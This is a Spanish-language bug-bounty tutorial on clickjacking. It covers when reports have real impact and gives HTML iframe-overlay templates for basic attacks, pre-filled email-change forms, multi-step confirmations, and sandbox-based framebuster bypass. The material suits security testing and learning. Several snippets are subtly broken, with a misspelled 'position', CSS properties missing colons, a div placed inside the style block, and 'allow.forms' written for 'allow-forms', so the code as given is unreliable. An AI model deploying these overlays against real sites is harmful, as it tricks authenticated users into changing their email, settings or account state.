# Clickjacking

> **El clickjacking, también conocido como redireccionamiento de interfaz de usuario o ataque de secuestro de clics, es una técnica maliciosa que engaña a los usuarios para que hagan clic en algo diferente de lo que perciben, lo que puede llevar a la divulgación de información confidencial o al control no autorizado de su computadora.** el atacante se encarga de crear una pagina con iframes maliciosos y lo intenta hacer invisible, engañando al usuario para hacer cambios maliciosos en la web legitima.

al hacer clickjacking hay muchos errores, pues en bug bounty se suelen reportar casos sin peligro o impacto real, algunos ejemplos de casos reportables incluyen:

* Hay un impacto real y demostrable, por ejemplo se pueden cambiar configuraciones de seguridad, realizar acciones sin permisos o afectar usuarios autenticados.
* No hay protección presente comúnmente utilizada como `X-Frame-Options`, `Content Security Policy` `(CSP)`, `frame-ancestors`, etc.
* La ruta donde se efectúa el ataque es un área sensible, como paneles administrativos, configuraciones de usuarios autenticados, transferencias, comentarios, etc.

## Formas de Clickjacking

* al probar ataques de clickjacking, es recomendable probarlo en varios navegadores pues es posible que no funcione en uno.

En general, la estrategia consiste en superponer un elemento visual atractivo como un botón que diga "presióname para una sorpresa" justo encima de la función que queremos manipular (por ejemplo, un botón de transferencia, borrar cuenta, cambiar configuraciones especificas, cambio de password, etc.), se utiliza CSS para hacer invisible el iframe de la pagina. si el usuario esta autenticado en la web original y presiona a nuestro botón malicioso podremos ejecutar la accion deseada. El ataque no funcionara si la página objetivo no permite ser embebida en un iframe, Si el servidor responde con `X-Frame-Options: DENY` o `SAMEORIGIN`, o si tiene una política CSP `frame-ancestors` restrictiva.

```html
<style>
iframe {
	width: 500px;
	height: 600px;
	opacity: 0.0001;
}

div{
	postion: absolute;
	top 500px;
	left 40px;
}
</style>
<div>Click Me</div>
<iframe src="https://example.com/cuenta"></iframe>
```

como podemos ver, definimos el iframe, lo hacemos transparente y sobreponemos otro botón, el chiste es jugar con las medidas hasta encontrar la correcta. si quieres ir probando medidas de poco a poco subes la opacidad a 0.1 por ejemplo y posteriormente lo bajas denuevo. Todo este bloque se agrega a un servidor controlado por el atacante, para que cuando la victima acceda a un PATH especifico encuentre el botón

### Clickjacking precargando datos en parámetros&#x20;

también es posible enviar formularios completos (para cambiar email o username por ejemplo) haciendo el mismo procedimiento, lo que cambia es a que URL apuntamos nuestro iframe, ya que en este caso necesitamos precargar los datos.

Para poder entenderlo mejor, imagina el siguiente formulario para actualizar el correo electrónico:

```
https://example.com/settings

Email: introduce el nuevo correo
 ------------------
| Actualizar Ahora |
 ------------------
```

al analizar el frontend por inspeccionar, el parámetro donde se indica y se envía el nuevo correo es `?email=` por lo que, al entrar a la siguiente URL:

`https://example.com/settings?email=atacante@example.com` \
el correo <atacante@example.com> aparecerá precargado en el formulario, haciendo que lo único faltante sea dar click en el botón de `Actualizar Ahora`.\
en nuestro servidor de atacante vamos a crear el index.html, donde pondremos el nuevo código HTML:

```html
<style>
	iframe {
		width: 500px;
		height: 600px;
		opacity: 0.0001;
	}

	div {
		position: absolute;
		top: 500px;
		left 100px;
	}
<div>Click me</div>
</style>
<iframe src="https://example.com/settings?email=atacante@example.com"></iframe>
```

&#x20;\
\\

### Clickjacking de múltiples pasos

En muchas páginas se utiliza como medida de seguridad general (no solo contra clickjacking básico) múltiples pasos para concretar una accion, un ejemplo claro de esto es cuando se te pregunta 2 o mas veces por confirmación cuando quieres eliminar tu cuenta. Hacer Clickjacking a través de esta medida sigue siendo posible, pues en nuestro servidor de atacante se estructura una página con dos botones maliciosos (para este caso) (Click me 1 y Click me 2), alineadas con los botones reales del formulario y del cuadro de confirmación.

Una ves que la victima cae en la trampa, se puede concretar la accion deseada en varios pasos.

```html
<style>
iframe {
	width: 500px;
	height 600px;
	opacity: 0.0001;
}
.primerClick {
	position: absolute;
	top 450px;
	left 100px;
}

.segundoClick {
	position: absolute;
	top 200px;
	left 200px;
}

</style>
<div class="primerClick">Click me 1</div>
<div class="segundoClick">Click me 2</div>
<iframe src="https://example.com/account"></iframe>
```

### Clickjacking burlando framebusters

**framekiller (or framebuster or framebreaker or anti-frame) Es una técnica utilizada por sitios web y aplicaciones web para evitar que sus páginas se muestren dentro de un marco (**`iframe`**).** Un framekiller se suele utilizar para evitar que un sitio web se cargue desde un conjunto de marcos sin permiso o como un ataque, como en el caso del clickjacking.

Actualmente es una técnica de seguridad obsoleta por la facilidad que hay para pasarla por alto, los sitios web modernas utilizan medidas como `X-Frame-Options` y `Content-Security-Policy`que impiden la carga por iframes desde el principio, aparte de que no se incrustan directamente dentro del HTML.

Para evitar el framekiller se usa el atributo "sandbox" dentro del marco (iframe), lo que permite solo la ejecución de formularios mediante el permiso de `allow-forms`, lo cual impide que el script del framekiller se ejecute o lo detecte ya que no tiene los permisos necesarios para acceder al contenido

```html
<style>
iframe {
	width: 500px;
	height 600px;
	opacity: 0.0001;
}
div {
	position: absolute;
	top 450px;
	left 100px;
}
</style>
<div>Click me</div>
<iframe sandbox="allow.forms" src="https://example.com/settings"></iframe>
```
